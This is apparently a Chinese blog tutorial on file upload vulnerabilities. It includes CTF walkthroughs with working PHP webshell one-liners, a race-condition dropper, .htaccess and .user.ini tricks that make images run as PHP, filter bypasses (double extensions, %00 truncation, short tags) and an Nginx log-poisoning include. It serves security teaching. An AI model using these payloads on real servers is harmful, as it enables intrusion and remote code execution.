文件上传漏洞
文件上传漏洞介绍
就是指用户上传了一个可执行的脚本文件,并通过脚本文件获得了执行服务器端命令的能力,出问题的地方在于怎么处理、解释文件,那么攻击方就要思考如何绕过检测和过滤
文件上传漏洞的危害
- 上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行
- 上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接 自劢运行;
- 上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);
- 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;
- 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本。
文件上传漏洞需要满足的条件
- 上传的后门代码要与服务器环境一致:比如说对方服务器运行的PHP环境,你不能上传一个JAVA的后门代码
- 执行权限:上传文件的目录可以被脚本语言解析执行,如果你上传的目录没有执行权限也不行
- 一般文件上传后会返回一个地址,如果无法链接到也不能构成文件上传漏洞
文件检测流程
通常一个文件以HTTP协议进行上传时,将以POST请求发送至web服务器,web服务器接收到请求后并同意后,用户与web 服务器将建立连接,并传输data
一般来说检测的内容有以下几个方面:
- 客户端JS检测(通常检测文件扩展名)
- 服务端MIME类型检测(检测Content-Type内容)
- 服务端目录路径检测(检测path参数相关内容)
- 服务端文件扩展名检测(检测跟文件extension相关的内容)
- 服务端文件内容检测(通常检测内容是否合法或含有恶意代码)
案例分析
CTFHub-文件上传
无验证,写一句话木马,再用蚁剑连接
简单查一下路径
前端验证,我们查看源代码,JS根据后缀白名单过滤
我们把JS代码改一下再在控制台回车一下,这道题目只是前端验证
接下来就和上一题一样蚁剑连接找敏感文件就行了
.htaccess(apache独有的配置文件)
有个前提条件是http.conf文件中设置了 AllowOverried All ,才能使用.htaccess文件
通常情况下有两种方法
-
在
.htaccess
中写入<FilesMatch "a.jpg"> SetHandler application/x-httpd-php </FilesMatch>
然后再上传a.jpg的木马, 这样a.jpg就可解析为php文件
最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了 -
通过更改HTTP请求把
.png
类型文件当php
文件执行
AddType application/x-httpd-php .png
我们并不知道目录下有没有.htaccess
文件,我们用第一种方法写入后直接试试上传.htaccess
文件,都不用改后缀,那么事情就简单起来了
上传带有php代码的a.jpg
文件
MIME类型
在HTTP请求包中
Content-Type:image/png || image/jpeg
我们先抓个包更改文件类型再上传试试
换汤不换药
文件头判断
每个不同类型的文件都有文件头
例如png类型文件文件头为:89504E47,转换为ASCII码是•PNG
,
上传一个PNG图片抓个包看看,可以看到文件头是‰PNG
Content-Disposition: form-data; name="file"; filename="202406261432467.png"
Content-Type: image/png
‰PNG
Ìÿ§ÚÛ*f:»
我们先只改文件头试试能不能成功上传
提示文件类型不正确,那么我们再改一下文件类型
后面就一样蚁剑连接查flag
黑名单-过滤不严
通过文件后缀判断文件类型
- 黑名单:检测上传文件是不是在黑名单里面,在就G,不在就通过
- 白名单:检测上传文件是不是在白名单,在就通过,不在就G
str_ireplace()函数替换字符串中的一些字符(不区分大小写)
无递归(只检测一次,没循环)
phphp(因为代码中是把匹配到的黑名单替换为空)
windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写
系统大小写敏感属性
str_ireplace()函数替换字符串中的一些字符(不区分大小写)
绕过黑名单过滤还有一种思路利用不同的后缀,可以配合fuzz模糊测试,利用BP中intruder模块
低版本GET-%00截断
其实截断的原理也很简单,无论0x00还是%00,最终被解析后都是一个东西:chr(0)
chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。
那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
这种情况常出现在ASP程序中,PHP 版本<5.3.4时也会有这个情况,JSP中也会出现。
这种方式适用于:
- magic_quotes_gpc = 0ff
- PHP 版本小于 5.3.4
自动解码一次,/var/www/html/upload/x.php%00
url 上面 %00
post 下面 %00 二次解码
低版本00绕过
二次解码
无递归的黑名单绕过
文件名改为6.pphphp,过滤掉php后就是6.php
还有一种情况先上传恶意代码到服务器,会短暂存在在服务器,服务器会检测文件类型然后删除
先上传shell.php写入
<?php fputs(fopen('nosese.php','w'),'<?=eval($_POST[x]);?>');?>
使用BP的intruder
模块重复访问shell.php
,这样就能一直写文件nosese.php
然后再开一个intruder
模块,一直执行$_POST[x]
,一直执行这个nosese.php
的原因在于在创建和删除nosese.php
的过程中间隔时间很短,执行nosese.php
如果间隔时间比较长就可能不能执行成功(访问时正好删除了,但还未创建成功)
二次渲染
利用工具010 Editor 中Tools/compare files,对比图片,可以看到gif文件渲染前后区别不大
Apache HTTPD 换行解析漏洞(CVE-2017-15715) 漏洞复现
Apache在2.4.0-2.4.29版本中存在一个解析漏洞。程序在解析PHP时,如果文件名最后有一个换行符x0A
,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单。
如果上传文件的php程序是设置的白名单,那么这个漏洞将无法利用。
Nginx文件解析漏洞
CTFShow案例
web151
可以看到前台的验证逻辑不严谨,把php文件改个名字就可以上传了
蚁剑连接一下就OK了
web152
查看网址源码看看,可以看到一个upload.php
,进入查看一下
这是一个unicode编码,解码看一下
抓个包看看,如果上传的是php类型文件,文件类型不合规
{“code”:2,“msg”:“\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4”}
那么上传png类型的文件
{“code”:0,“msg”:“upload/2.png”}
这样我们就明白了是根据code值判断文件类型是否合规,但是很明显这里不好通过更改code值来绕过,那就把文件类型改改试试
可以看到这里文件上传成功
后面就和上面一样
web153
试了一下这道题更改文件类型或者更改文件头都不能成功上传,那么应该是filename
字段过滤了php
后缀
这道题的思路是非php文件后缀解析按照php进行解析
文件后缀校验解决思路:引入 user.ini 文件
根据网上查到的信息,user.ini文件中有个字段auto_prepend_file它可以把指定文件文件加载到网站的首页,是根目录的首页。
我们可以得到的信息:通过这个字段可以把文件与你上传的目录首页文件一起加载,被php脚本执行解析。
由此我们得出结论,user.ini文件使用的限制条件:
- 上传.user.ini的目录必须有设置默认首页
- php版本必须要在5以上
使用user.ini文件的好处:
- 可以突破文件后缀的检测
- 可以突破图片目录不给解析执行权限的限制
上传一个PNG文件把文件名改为user.ini
,写入auto_prepend_file = shell.png
,把指定shell.png加载网站的首页
在shell.png中写入一句话
web154
按照上一题的思路试了试,这里应该过滤了php关键字
绕过方法:
<? echo '123';?> //前提是开启配置参数short_open_tags=on
<?=(表达式);?> //不需要开启参数设置
<% echo '123';%> //前提是开启配置参数asp_tags=on
<script language=”php”>echo '1'; </script>//不需要修改参数开关
后面同上题
web155
和上一题一样,也是绕过
web156
和154题类似,不过这道题过滤了[]
需要改为{}
,需要注意的是这是一个错误的写法
<?=eval($_POST{x}); ?>
web157
试了下上一题的思路上传一直失败,应该是增加了过滤,换一个思路,在shell.png
中插入终端命令,通过.user.ini
的配置shell.png
会被加载到网站首页执行终端命令
web158
和上一题一样的思路,就不赘述
web159
这里应该是过滤了()
这里用**`**号进行执行
web160
试了一下,这道题应该也过滤了空格
Nginx一般会记录日志,日志会记录访问者的UA头,所以我们可以把后门代码写到UA头里面,然后利用.user.ini
来包含日志文件,Nginx默认日志位置/var/log/nginx
首先上传文件.user.ini,在上传图片
图片中的内容
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
欢迎大家关注我的公众号,获取详细的网安学习成长路线图
参考文章
[1] https://blog.csdn.net/qq_61553520/article/details/130218788
标签:文件,解析,检测,就够,漏洞,php,上传,png From: https://blog.csdn.net/weixin_46003602/article/details/140756415